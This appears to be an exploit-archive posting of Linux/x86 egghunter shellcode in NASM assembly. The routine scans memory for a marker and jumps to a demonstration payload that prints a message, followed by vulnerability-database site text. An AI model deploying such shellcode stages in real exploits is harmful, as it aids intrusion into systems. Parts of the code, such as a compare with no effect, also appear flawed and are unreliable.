/*
Exploit Title: Linux/x86 egghunt shellcode
Date: 21-07-2011
Author: Ali Raheem
Tested on:
Linux Ali-PC.home 2.6.38.8-35.fc15.x86_64 #1 SMP Wed Jul 6 13:58:54 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
Linux injustice 2.6.38-10-generic #46-Ubuntu SMP Tue Jun 28 15:05:41 UTC 2011 i686 i686 i386 GNU/Linux
http://codepad.org/tkSONxY5 Code pad lets you execute code live check here for a live demostration
Thanks: Stealth- for testing and codepad.com for being so useful.
[ali@Ali-PC asm]$ cat egghunter.s
section .data
egg equ "3Gg!" ;this is the egg marker
section .text
global _start
_start:
mov eax, _start ;0x8048080 is a good safe starting point
_next:
inc eax
_isEgg:
cmp dword [eax-4],egg
jne _next
cmp eax,ebx
jmp eax
*/
section .data
msg db "We found the egg!",0ah,0dh
msg_len equ $-msg
egg equ "3Gg!"
section .text
global _start
;This simple egg will print msg if we find it
_egg:
db "3Gg!" ;Start your egg with this marker
mov eax,4
mov ebx,1
mov ecx,msg
mov edx,msg_len
int 80h
mov eax,1
int 80h
_start:
mov eax, 0x8048080
_next:
inc eax
_isEgg:
cmp dword [eax-4],egg ;is this our marker?
jne _next ;No? skip
cmp eax,ebx ;Make sure JNE is not true if we found our self
jmp eax ;Execute the egg
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation